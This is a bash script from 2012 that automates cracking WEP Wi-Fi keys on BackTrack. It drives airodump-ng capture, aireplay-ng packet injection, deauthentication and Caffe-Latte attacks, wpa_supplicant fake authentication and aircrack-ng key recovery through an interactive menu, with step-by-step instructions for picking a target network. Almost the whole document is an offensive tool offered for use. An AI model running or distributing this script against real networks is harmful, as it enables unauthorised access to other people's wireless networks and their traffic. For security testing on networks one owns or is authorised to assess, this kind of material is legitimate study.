Wi-Fi WEP Crack for BackTrack (bash script)

#!/bin/bash
#
# WiFi WEP Crack BackTrack bash script
# by The Pirat. thepirat000@hotmail.com
#
# Use this script to easily execute the commands to crack a WEP WiFi password.
# (airodump, aireplay, wpa_supplicant, aircrack, ...)
#
# HOW TO USE:
# Start backtrack GUI and open a console
# Make sure you have "Konsole" installed (apt-get install konsole)
# Copy-paste this script to a new file i.e. WepCrack.sh
# Give execution permission to this file:   chmod +x WepCrack.sh
# Execute the script in this file:          ./WepCrack.sh
#
# Enter the Interface name (default is wlan0)
# Enter the monitor name (default is mon0)
# Wait for the monitor until you see the WiFi you want to crack in the list (is must be WEP)
# Press CTRL+C
#
# Enter the channel where the network is working (or copy-paste it from the list)
# Enter the MAC Address of the AP (or copy-paste the MAC from the list)
# Enter the essid of the AP (the WiFi network name) (or copy-paste the name from the list)
# Enter the name of the generated capture file (or press enter to use the essid as the file name)
#
# Now, the script will open 3 windows to:
# - Capture the network packages (airodump)
# - Fake an authentication (wpa_supplicant)
# - Inject packages
# And also you will see the main window with options to execute more commands.
#
# When you have captured enough packages, select the command 4 (Aircrack) to launch the WiFi password crack process.
#
# NOTES:
# You can abort the process at any moment by pressing CTRL+C and relaunch the script later, without losing the previous captured packages.
# Tested in backtrack versions 4 and 5


function Airodump {
    #Capture packages
    if [ $1="kill" ]
    then
        killall airodump-ng
    fi
    konsole --noclose -T Airodump -e airodump-ng $INTMON -w $ARCH --bssid $MAC --ivs -c $ch &
}
function StartMonitor {
    airmon-ng stop $INTMON
    airmon-ng start $INT $ch
}
function StopMonitor {
    killall wpa_supplicant
    killall dhclient
    airmon-ng stop $INT
    airmon-ng stop $INTMON
}
function Inject {
    if [ $1="kill" ]
    then
        killall aireplay-ng
    fi
    konsole --noclose -T Inject -e aireplay-ng -3 -b $MAC $INTMON &
}
function Fakeauth {
    #fakeauth with wpa_supplicant, making config file
    if [ $1="kill" ]
    then
        killall wpa_supplicant
    fi
    echo -e "network={\n\tssid=\"$essid\"\n\tkey_mgmt=NONE\n\twep_key0=\"fakeauth\"\n}">$DIR/wpa.conf
    konsole --noclose -T fakeauth -e wpa_supplicant -c$DIR/wpa.conf -Dwext -i$INT &
}
function Deauth {
    konsole --noclose -T Deauth -e aireplay-ng -0 1 -a $MAC $INTMON &
}
function CaffeLatte {
    konsole --noclose -T CaffeLatte -e aireplay-ng -6 $INTMON -e $essid &
}
function Aircrack {
    konsole --noclose -T Aircrack -e aircrack-ng $ARCH*.ivs &
}

DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"

echo -e "Enter WiFi Interface name: (Default: wlan0) "
read INT
if [ ! "$INT" ]
then
        INT="wlan0"
fi
echo -e "Enter Monitor name: (Default: mon0) "
read INTMON
if [ ! "$INTMON" ]; then
        INTMON="mon0"
fi

StopMonitor
airmon-ng start $INT
airodump-ng $INTMON

echo -e "Enter Channel: "
read ch
echo -e "Enter AP MAC Address: "
read MAC
echo -e "Enter AP essid (network name): "
read essid
echo -e "Enter capture filename: (Default: $essid.ivs) "
read ARCH
if [ ! "$ARCH" ]; then
        ARCH="$essid"
fi
ARCH="$DIR/$ARCH"

StartMonitor
Airodump
Inject
sleep 1
Fakeauth "kill"

while [ 1=1 ]; do
clear
echo -e "Select an option.                    ./ThePirat-2012\."
echo -e "0) Launch deauth (aireplay-ng -0)"
echo -e "1) Launch Airodump (Packages capture)"
echo -e "2) Launch inyeccion (aireplay-ng -3)"
echo -e "3) Launch Fakeauth (wpa_supplicant)"
echo -e "4) Launch Aircrack"
echo -e "5) Launch Caffe-Latte (aireplay-ng -6)"
echo -e "*) Exit"
read opcion
case $opcion in
    0) Deauth;;
    1) Airodump;;
    2) Inject;;
    3) Fakeauth;;
    4) Aircrack;;
    5) CaffeLatte;;
    *) StopMonitor
       exit;;
esac
done